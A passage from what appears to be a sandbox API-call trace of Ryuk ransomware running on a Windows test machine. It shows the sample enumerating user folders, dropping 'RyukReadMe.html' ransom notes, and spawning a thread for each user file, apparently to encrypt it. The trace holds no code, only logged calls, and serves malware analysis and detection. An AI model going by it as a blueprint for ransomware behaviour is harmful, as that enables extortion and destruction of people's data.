Data\\Applica杄眙")) returned 0xffffffffffffffff
	[0252.678] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0252.678] SetLastError (dwErrCode=0x0) 
	[0252.678] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Sidebar\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows sidebar\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.678] GetLastError () returned 0x3
	[0252.678] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0) returned 0
	[0252.679] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.679] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WINDOW~1")) returned 0
	[0252.679] FindClose (in: hFindFile=0x3ef910 | out: hFindFile=0x3ef910) returned 1
	[0252.679] SetLastError (dwErrCode=0x0) 
	[0252.679] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5ec
	[0252.679] GetLastError () returned 0xb7
	[0252.679] CloseHandle (hObject=0x5ec) returned 1
	[0252.679] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe80ff230, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe80ff230, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xe80ff230, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Help", cAlternateFileName="MICROS~2")) returned 1
	[0252.679] SetLastError (dwErrCode=0x0) 
	[0252.679] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5ec
	[0252.680] GetLastError () returned 0xb7
	[0252.680] CloseHandle (hObject=0x5ec) returned 1
	[0252.680] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft Help\\*.*", lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe80ff230, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe80ff230, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xe80ff230, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef910
	[0252.680] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe80ff230, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe80ff230, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xe80ff230, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0252.681] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe80ff230, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe80ff230, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xe80ff230, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0252.681] FindClose (in: hFindFile=0x3ef910 | out: hFindFile=0x3ef910) returned 1
	[0252.681] SetLastError (dwErrCode=0x0) 
	[0252.681] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft Help\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft help\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.681] GetLastError () returned 0x3
	[0252.681] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18d3c8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18d3c8, lpOverlapped=0x0) returned 0
	[0252.681] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.681] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7314c10, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7314c10, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Mozilla", cAlternateFileName="")) returned 1
	[0252.681] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74613880, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0252.681] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x405185e0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x405185e0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1
	[0252.681] SetLastError (dwErrCode=0x0) 
	[0252.681] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5ec
	[0252.682] GetLastError () returned 0xb7
	[0252.682] CloseHandle (hObject=0x5ec) returned 1
	[0252.682] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\*.*", lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x405185e0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x405185e0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef910
	[0252.682] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x405185e0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x405185e0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0252.682] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x887e3410, ftCreationTime.dwHighDateTime=0x1d5bbb3, ftLastAccessTime.dwLowDateTime=0xe2d860a0, ftLastAccessTime.dwHighDateTime=0x1d5c529, ftLastWriteTime.dwLowDateTime=0xe2d860a0, ftLastWriteTime.dwHighDateTime=0x1d5c529, nFileSizeHigh=0x0, nFileSizeLow=0x8f88, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="-jDCM.csv", cAlternateFileName="")) returned 1
	[0252.682] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0252.683] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5b8
	[0253.109] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0253.110] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd1113ab0, ftCreationTime.dwHighDateTime=0x1d5b9c9, ftLastAccessTime.dwLowDateTime=0x7466aa70, ftLastAccessTime.dwHighDateTime=0x1d5bdc5, ftLastWriteTime.dwLowDateTime=0x7466aa70, ftLastWriteTime.dwHighDateTime=0x1d5bdc5, nFileSizeHigh=0x0, nFileSizeLow=0xa065, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="-lr0Ch.doc", cAlternateFileName="")) returned 1
	[0253.110] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0253.111] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5fc
	[0253.111] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0253.112] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x550d4040, ftCreationTime.dwHighDateTime=0x1d5bbee, ftLastAccessTime.dwLowDateTime=0xc2aa3740, ftLastAccessTime.dwHighDateTime=0x1d5bac0, ftLastWriteTime.dwLowDateTime=0xc2aa3740, ftLastWriteTime.dwHighDateTime=0x1d5bac0, nFileSizeHigh=0x0, nFileSizeLow=0xd27a, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="1o86XN.gif", cAlternateFileName="")) returned 1
	[0253.112] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0253.113] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x62c
	[0253.114] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0253.114] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcbe885a0, ftCreationTime.dwHighDateTime=0x1d5c0d8, ftLastAccessTime.dwLowDateTime=0xc5b4ed30, ftLastAccessTime.dwHighDateTime=0x1d5bc97, ftLastWriteTime.dwLowDateTime=0xc5b4ed30, ftLastWriteTime.dwHighDateTime=0x1d5bc97, nFileSizeHigh=0x0, nFileSizeLow=0x131e4, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="2bzGyA5wVpzpZK3I0Z6-.wav", cAlternateFileName="2BZGYA~1.WAV")) returned 1
	[0253.114] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0253.115] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x524
	[0253.116] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0253.117] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x77901250, ftCreationTime.dwHighDateTime=0x1d5c486, ftLastAccessTime.dwLowDateTime=0x77772b90, ftLastAccessTime.dwHighDateTime=0x1d5c1f3, ftLastWriteTime.dwLowDateTime=0x77772b90, ftLastWriteTime.dwHighDateTime=0x1d5c1f3, nFileSizeHigh=0x0, nFileSizeLow=0xdfd1, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="4H2RiR0v1TTc.mp3", cAlternateFileName="4H2RIR~1.MP3")) returned 1
	[0253.117] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0253.117] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x634
	[0253.119] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0253.119] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x594aafd0, ftCreationTime.dwHighDateTime=0x1d5c265, ftLastAccessTime.dwLowDateTime=0xeaed6550, ftLastAccessTime.dwHighDateTime=0x1d5c3ae, ftLastWriteTime.dwLowDateTime=0xeaed6550, ftLastWriteTime.dwHighDateTime=0x1d5c3ae, nFileSizeHigh=0x0, nFileSizeLow=0xec85, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="4XLcXlYhAvHImy-.bmp", cAlternateFileName="4XLCXL~1.BMP")) returned 1
	[0253.119] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0253.120] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x630
	[0253.121] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0253.122] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82c01120, ftCreationTime.dwHighDateTime=0x1d5c1e3, ftLastAccessTime.dwLowDateTime=0xe794f4b0, ftLastAccessTime.dwHighDateTime=0x1d5b73b, ftLastWriteTime.dwLowDateTime=0xe794f4b0, ftLastWriteTime.dwHighDateTime=0x1d5b73b, nFileSizeHigh=0x0, nFileSizeLow=0x48de, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="5hDsOAAkJpxZ1n.m4a", cAlternateFileName="5HDSOA~1.M4A")) returned 1
	[0253.122] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0253.122] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x638
	[0253.123] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0253.124] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xccabcfa0, ftCreationTime.dwHighDateTime=0x1d5b9c7, ftLastAccessTime.dwLowDateTime=0xe4c8ae90, ftLastAccessTime.dwHighDateTime=0x1d5bbcb, ftLastWriteTime.dwLowDateTime=0xe4c8ae90, ftLastWriteTime.dwHighDateTime=0x1d5bbcb, nFileSizeHigh=0x0, nFileSizeLow=0x172d8, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="5z_ijfYGlkugL6.wav", cAlternateFileName="5Z_IJF~1.WAV")) returned 1
	[0253.124] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0253.124] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x63c
	[0253.126] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0253.126] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x77ebf3b0, ftCreationTime.dwHighDateTime=0x1d5bb1f, ftLastAccessTime.dwLowDateTime=0xd1153960, ftLastAccessTime.dwHighDateTime=0x1d5b8b8, ftLastWriteTime.dwLowDateTime=0xd1153960, ftLastWriteTime.dwHighDateTime=0x1d5b8b8, nFileSizeHigh=0x0, nFileSizeLow=0x6cd4, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="6p47SKC0 jWuZ.mp3", cAlternateFileName="6P47SK~1.MP3")) returned 1
	[0253.126] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0253.127] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x640
	[0253.128] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0253.129] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb6a868a0, ftCreationTime.dwHighDateTime=0x1d5c0c8, ftLastAccessTime.dwLowDateTime=0x26fb9b50, ftLastAccessTime.dwHighDateTime=0x1d5c393, ftLastWriteTime.dwLowDateTime=0x26fb9b50, ftLastWriteTime.dwHighDateTime=0x1d5c393, nFileSizeHigh=0x0, nFileSizeLow=0x7ab6, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="9iFq8y63.mkv", cAlternateFileName="")) returned 1
	[0253.129] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0253.129] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x644
	[0253.131] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0253.131] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa30d60d0, ftCreationTime.dwHighDateTime=0x1d5c531, ftLastAccessTime.dwLowDateTime=0xcdd5a660, ftLastAccessTime.dwHighDateTime=0x1d5c1da, ftLastWriteTime.dwLowDateTime=0xcdd5a660, ftLastWriteTime.dwHighDateTime=0x1d5c1da, nFileSizeHigh=0x0, nFileSizeLow=0x12d73, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="9u 2RHDpu7bjqdHbaNzn.m4a", cAlternateFileName="9U2RHD~1.M4A")) returned 1
	[0253.132] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0253.132] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x648
	[0253.134] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0253.134] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe9bf60c0, ftCreationTime.dwHighDateTime=0x1d5c039, ftLastAccessTime.dwLowDateTime=0x3d6e07f0, ftLastAccessTime.dwHighDateTime=0x1d5b949, ftLastWriteTime.dwLowDateTime=0x3d6e07f0, ftLastWriteTime.dwHighDateTime=0x1d5b949, nFileSizeHigh=0x0, nFileSizeLow=0x12d3f, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="A2rJ_R-Shn.pdf", cAlternateFileName="A2RJ_R~1.PDF")) returned 1
	[0253.134] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0253.135] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x64c
	[0253.137] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0253.137] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x54b91d00, ftCreationTime.dwHighDateTime=0x1d5c60a, ftLastAccessTime.dwLowDateTime=0x54b91d00, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x54c76540, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x2fc, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="AdobeARM.log", cAlternateFileName="")) returned 1
	[0253.137] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0253.138] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x650
	[0253.139] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0253.140] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x25e50480, ftCreationTime.dwHighDateTime=0x1d5bceb, ftLastAccessTime.dwLowDateTime=0x54333b30, ftLastAccessTime.dwHighDateTime=0x1d5c4c6, ftLastWriteTime.dwLowDateTime=0x54333b30, ftLastWriteTime.dwHighDateTime=0x1d5c4c6, nFileSizeHigh=0x0, nFileSizeLow=0x13c33, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="aX8mAHttLRxPap-u.mp3", cAlternateFileName="AX8MAH~1.MP3")) returned 1
	[0253.140] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0253.140] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a1ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x654
	[0253.282] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0253.283] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf682ed80, ftCreationTime.dwHighDateTime=0x1d5bb49, ftLastAccessTime.dwLowDateTime=0x4fb2aa00, ftLastAccessTime.dwHighDateTime=0x1d5b5fd, ftLastWriteTime.dwLowDateTime=0x4fb2aa00, ftLastWriteTime.dwHighDateTime=0x1d5b5fd, nFileSizeHigh=0x0, nFileSizeLow=0x182b8, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="b0qHL.odt", cAlternateFileName="")) returned 1
	[0253.283] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0253.284] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x660
	[0253.286] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0253.287] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x99a9ea0, ftCreationTime.dwHighDateTime=0x1d5b75c, ftLastAccessTime.dwLowDateTime=0x2f4279b0, ftLastAccessTime.dwHighDateTime=0x1d5c1fd, ftLastWriteTime.dwLowDateTime=0x2f4279b0, ftLastWriteTime.dwHighDateTime=0x1d5c1fd, nFileSizeHigh=0x0, nFileSizeLow=0x1762e, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="c2o-.png", cAlternateFileName="")) returned 1
	[0253.287] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
